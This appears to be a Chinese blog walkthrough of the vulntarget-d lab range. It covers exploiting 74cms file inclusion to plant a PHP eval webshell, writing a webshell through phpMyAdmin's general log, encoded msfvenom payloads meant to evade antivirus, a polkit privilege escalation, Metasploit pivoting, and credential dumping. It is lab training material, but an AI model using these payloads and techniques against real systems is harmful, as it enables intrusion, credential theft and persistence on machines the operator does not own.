渗透靶场——vulntarget-d综合靶场

部署环境

此次靶场共两个个镜像文件,接下来先给大家说一下整个环境的拓扑图以环境布置。
在这里插入图片描述

信息收集

扫描主机
扫描同一网段中的存活主机
在这里插入图片描述发现存活主机ip地址(其他ip是我其他机器的ip地址)

192.168.1.17

扫描端口

扫描一下存活靶机的ip地址

nmap -A -p- 192.168.1.17

在这里插入图片描述发现开放了80、81、3306、8888,看这架势应该是宝塔的界面,那就先访问端口看看
访问80端口发现不可
在这里插入图片描述

web渗透

访问81端口
在这里发现了一个骑士的cms框架界面
在这里插入图片描述看到底下的版本信息,搜索一下看看这个版本有没有什么版本漏洞进行利用
在这里插入图片描述直接搜索这个版本漏洞
在这里插入图片描述发现实存在文件包含漏洞的,那就直接利用这个漏洞进行渗透即可
查看http://192.168.1.17:81/,通过搜集信息可知,可能存在74cms文件包含漏洞:
然后继续执行:

http://192.168.1.17:81/index.php?m=home&a=assign_resume_tpl

post执行

variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval($_POST[123123]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名=“info” 企业id="$_GET[‘id’]"/>

在这里插入图片描述开始包含

http://192.168.1.17:81/index.php?m=home&a=assign_resume_tpl

post部分(注意包含的时候,要对应日期)

variable=1&tpl=data/Runtime/Logs/Home/22_03_30.log

在这里插入图片描述在这里要切记 “shell.php会被被拦截,要避免!

然后就直接上蚁剑链接就行

在这里插入图片描述已经成功链接
在这里插入图片描述在这里插入图片描述

Ubuntu提权

首先先上线MSF,生成一个木马文件,好给Ubuntu虚拟机传上

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf >0330.elf

在这里插入图片描述
通过蚁剑上传上去之后,赋予执行权限,运行:
在这里插入图片描述在这里插入图片描述
同时在攻击机开启msf进行连接:

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.1.17
run

在这里插入图片描述在eval用户的Desktop目录下发现一枚flag:
flag{welcome_to_vulntarget-d}
在这里插入图片描述
接下来就是进行提取操作了

linux提权

看下当前虚拟机的版本号

cat /etc/issue

在这里插入图片描述
前段时间看到了一个提权cve,适用的范围如下

CentOS系列:

CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu系列:

Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

所以对于当前的靶机来说,这个提权也是可以的

把下载好的poc通过蚁剑就直接上传上去
在这里插入图片描述执行即可提权

设置代理

在这里插入图片描述
在反弹shell发现,当前还存在一个内网的ip地址,那就设置代理,进行设置。
添加路由

run post/multi/manage/autoroute

在这里插入图片描述
加代理

run auxiliary/server/socks_proxy

在这里插入图片描述
然后退出反弹界面
在这里插入图片描述
然后打开kali文件设置代理

在这使用的是默认的socks5的代理模式。

vi /etc/proxychains4.conf

在这里插入图片描述

内网扫描

进行主机存活扫描

auxiliary/scanner/portscan/tcp
set PORTS 21,22,23,80,443,8080,3389,445
set RHOSTS 192.168.2.0/24
set threads 50
run

在这里插入图片描述在这里插入图片描述

发现了存活主机 192.168.2.129
然后就对存活主机进行详细的端口扫描
sudo proxychains nmap -sT -Pn 192.168.2.129 -p22,23,80,139,445,1433,3306,3389,6379,8080

在这里插入图片描述发现存在80/139/445/3306端口
然后直接在kali浏览器中访问80端口
在这块给大家讲一下,该如何在浏览器设置才能访问
在这里插入图片描述然后设置后就可以正常访问即可
访问80端口还有3306端口
在这里插入图片描述在这里插入图片描述此时看到3306开放的服务是mysql。

在端口80上看不出啥东西,扫描下目录试试看:

dirsearch -u http://192.168.2.129 --proxy socks5://127.0.0.1:1080

在这里插入图片描述在这里扫描到了l.php(正常的不会直接在目录下写这个的),其实这里就可以看出来,这是一个phpstudy搭建的网站了,我记得探针在最下面是有用户名密码的,也去看一下
在这里插入图片描述在这里直接修改代码参数获取了数据库的用户名密码即可
在这里插入图片描述
访问一下phpinfo.php
在这里插入图片描述在这里也发现了网站的绝对路径:

C:/phpstudy/PHPTutorial/WWW/phpinfo.php

在这里插入图片描述
接下来尝试访问:http://192.168.2.129/phpMyAdmin/

在这里插入图片描述就直接用上面我们发现的用户名密码直接登录即可
在这里插入图片描述拿到现在很明显了,直接phpmyadmin拿shell。

phpmyadmin日志getshell

账号:root 密码:root(这里也可以进行爆破,不要直接使用Brupsuite进行爆破,可以使用一些比较成熟的工具或者自己写脚本去爆破)
进来之后,开始尝试写日志拿shell
首先查看日志的状态:

SHOW VARIABLES LIKE ‘%general%’

在这里插入图片描述默认是关闭的所以先将 general_log 设置为on,执行

set global general_log=on;

在这里插入图片描述再看一下状态
在这里插入图片描述修改log文件的名称和位置

set global general_log_file=‘C:/phpstudy/PHPTutorial/www/vulntarget.php’;

在这里插入图片描述
在这里插入图片描述
验证文件是否存在

http://192.168.2.129/vulntarget.php

在这里插入图片描述
在这里插入图片描述

写入一句话:

SELECT ‘<?php @eval($_POST["vuln"]); ?>’

在这里插入图片描述
在这里插入图片描述
最后使用蚁剑进行连接:
代理配置:
在这里得在kali安装蚁剑,具体安装方式大家也可以自己百度一下即可

在这里插入图片描述在这里插入图片描述在这里插入图片描述执行命令,看下当前权限:
在这里插入图片描述

windows7提权

刚已经拿到了其中一个管理员crow的权限,但是在这里我们想拿到system权限,
在这里使用tasklist /svc来查看有哪些杀毒软件:
在这里插入图片描述查到有火绒这个软件的存在:
在这里插入图片描述
那先做一个免杀上线msf:

msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ lport=1234 -f raw -o crowsec.jpg

在这里插入图片描述
新生成的文件和加载器通过蚁剑上传到win7中:
在这里插入图片描述为什么,一直监听不到,实验了一下午也没有得出什么结果,那就直接用大佬的文章来直接弥补吧大佬文章

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
smsf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     1234             yes       The listen port
   RHOST     10.0.20.136      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.0.20.136:1234
[*] Sending stage (175174 bytes) to 10.0.20.136
[*] Meterpreter session 2 opened (10.0.20.132:53280 -> 10.0.20.136:1234 via sessio

在这里插入图片描述提权测试:getsystem
在这里插入图片描述提权成功

抓密码

在这里插入图片描述在这里发现当前没办法抓到密码,主要是因为上面生成的木马是32位的。(如果你生成的木马是64位的,就没有这个问题)
getpid和ps查看一下进程:
在这里插入图片描述在这里插入图片描述
那在这里将进程迁移到x64位上去:

migrate 504

在这里插入图片描述
注意迁移的时候,要迁移到system的user上。在这里插入图片描述
再次执行命令,即可获取明文密码。
在这里插入图片描述得到用户名:crow 密码:admin

3389远程连接

run post/windows/manage/enable_rdp

在这里插入图片描述配置代理之后,连接即可。
在这里插入图片描述
这样就算是整个的靶场过程了,有什么问题大家也可以相互探讨一下~

猜你喜欢

转载自blog.csdn.net/tlovejr/article/details/123845297